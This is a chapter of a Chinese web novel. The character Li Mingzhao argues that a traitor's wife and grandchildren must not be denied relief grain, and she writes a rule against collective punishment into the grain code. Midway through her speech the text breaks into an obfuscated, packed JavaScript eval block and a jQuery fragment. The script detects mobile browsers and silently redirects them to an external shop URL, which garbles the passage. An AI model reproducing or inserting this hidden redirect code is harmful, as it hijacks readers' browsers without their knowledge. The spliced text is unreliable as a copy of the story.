朱茂被逐出账房后的第三日，黄照在粮口看见了朱家的老妻。
她头发花白，背微驼，手里牵着两个小姑娘。
大的约六七岁，小的才四岁多，脸上还有没擦干净的泥。三人排在灾民队伍后头，拿着最普通的赈粮木牌。
黄照看了一眼，脸色便沉下去。
守粮的伙计正要按例发粥，黄照伸手拦住。
老妻抬头，认出他，脸色一下白了。
她没有辩解，只把两个孩子往身后带了带。
黄照看着那两个孩子，手指僵了一下，仍冷声道：“朱茂害得女工坊差点被牙婆带走，粮路差点被截，你们还来领白水的粮？”
老妻嘴唇发抖。
“黄小哥，我们……家里没米了。”
大的孙女躲在祖母身后，小声问：“阿婆，我们是不是不能吃粥了？”
黄照听见这句话，心口像被什么撞了一下。
可他想起静娘苍白的脸，想起女工坊那些被点名的女子，想起粮路副图落到钱氏手里，火又压了上来。
“你们回去。”
守粮伙计不敢动。
这事很快传到李明昭那里。
她来得很快。
看见粮口前的三人，又看见黄照沉着脸，便明白了。
“发粮。”
黄照猛地看向她。
“少夫人？”
李明昭重复：“按灾民例，发。”
伙计立刻舀粥，又给了两块干粮。
朱家老妻接过，手抖得厉害。她想跪，被李明昭止住。
“不必跪。领了粮，带孩子回去。”
老妻眼眶发红，低低应了一声，牵着两个孩子走了。
黄照站在原地，脸色难看。
“这样太软。”
李明昭看他。
“哪里软？”
“朱茂卖了粮路，卖了仓印，卖了女工坊名单。若不是发现得快，静娘她们会被带走。这样的人家里还能领粮，别人会怎么想？会不会觉得背叛也没什么？”
“朱茂已经逐出账房，没收私银，清淤三十日，终身不得再碰白水账。”
“那是罚他。”黄照道，“可他家还照样吃白水粮。”
李明昭没有立刻回答。
她只道：“跟我走。”
她先带黄照去了女工坊。
女工坊里，静娘正带人缝药袋。小荷在晒药材，青袖在数粗布。她们见李明昭来，停下手行礼。
李明昭问：“昨日转移的四人，安置好了？”
静娘点头：“两人在医棚病区，两人在后织房。新名册已分开收好。”
黄照站在门边，没说话。
他看见那些女子仍有些不安。听见外头有脚步声，便会下意识回头。有人手上还留着被牙婆抓过的青痕。
李明昭道：“朱茂差点害了她们。”
黄照冷声道：“所以更不该给朱家粮。”
李明昭转身，又带他去了义仓后巷。
朱家的老妻就住在那边一间破旧小屋里。
屋子很小，灶冷着，角落放着几件旧衣。两个孙女坐在门槛上分粥，大的先把碗推给小的，小的却摇头，把干粮掰成两半。
她们看见李明昭和黄照，吓得站起来。
大的那一个手里还攥着半块干粮。
她根本不知道祖父做了什么。
她只知道今日差点没有粥。
李明昭看着黄照。
“你要罚谁？”
黄照喉间一紧。
他想说，罚朱家。
可眼前是两个孩子。
“朱茂的老妻知道吗？”李明昭问。
黄照沉默。
“这两个孩子知道吗？”
黄照仍说不出话。
李明昭声音很轻，却每个字都落得清楚。
“黄照，白水若也搞连坐，和长安有什么区别？”
他猛地抬头。
李明昭看着那两个孩子。
“长安写‘罪臣女眷’时，可曾问过我母亲有没有罪？问过令姝有没有罪？问过阿蘅有没有罪？”
黄照脸色一下变了。
阿蘅。
令姝。
沈母。
这些名字落下来，像把他心里那点硬撑的怒火砸开。
他忽然想起楚州盐场。
一户逃灶，全家入罪。
男人跑了，妻女抵盐债。
父兄欠了盐，孩子被写进灶籍。
黄莺被卖时，谁问过她有没有罪？
没有。
因为在那些账里，她只是某人的女儿，某人的债，某户逃灶的附属。
黄照低下头，声音发哑。
“可如果不连坐，别人不怕。”
“怕不怕，是制度的问题。”李明昭道，“朱茂本人已经被罚，旧掌柜身份没了，账房资格没了，私银没了。他的背约会进白水总账，所有人都知道代价。”
“那他家呢？”
“取消旧掌柜家中额外津贴。”李明昭道，“从今日起，只按普通灾民例发粮。该排队排队，该登记登记。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549824|203631||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
若他家有人也参与背约，再罚那个人。”
黄照看向她。
她继续道：“粮可以惩戒，但不能用来连坐无辜。否则今日我们断朱家两个孩子的粮，明日就能因为父亲逃灶断一家人的粮，因为兄长欠债卖妹妹，因为丈夫犯错赶妻子出医棚。”
黄照的手慢慢松开。
这正是他恨过的东西。
他差点也做了。
李明昭道：“白水不是不罚。白水要罚得准。”
罚得准。
不是罚得狠。
黄照看着屋里那两个小姑娘。
小的那一个正把粥碗递给大的，声音很细：“阿姐，你喝。”
黄照转过脸。
过了很久，他低声道：“我明白了。”
李明昭没有安慰他，只道：“把这条写进粮制册。”
黄照抬眼：“我写？”
“你说。”
他喉结动了动。
“罚有责之人，不断无辜之粮。”
李明昭点头。
“就这句。”
傍晚，白水粮制册添了一条新规。
【背约者本人依约处罚，其家中老弱幼小若无参与，不连坐。取消背约者相关津贴，保留普通赈粮、病粮与医棚救治。】
邵衡看完，沉默良久。
“这条会有人说太软。”
李明昭道：“那便让他们说。”
秦照微在旁淡淡道：“不软。很难。”
黄照站在门口，低声道：“以后谁拿这条钻空子，我亲自查。”
李明昭看他。
黄照没有躲开她的目光。
“但孩子的粮，不能断。”
这一句，他说得很慢。
像是从自己的旧伤里，把这条规矩拽了出来。
夜里，李明昭把这条新规抄入总账。
她想起长安，想起罪臣女眷四个字。
那四个字曾压在她和令姝身上，也压在母亲身上。它不问人，只问血脉；不问罪，只问牵连。
白水不能这样。
若白水终有一日也要靠“牵连”来立威，靠让无辜者挨饿来让人害怕，那白水与长安便只是大小不同的牢笼。
她合上账册。
窗外，义仓粥棚的灯还亮着。
朱家的两个小姑娘明日仍会来排队。
她们不会多得一勺。
也不会因为祖父的错少得一勺。
这便是白水今日能给出的公道。
很小。
却不能没有。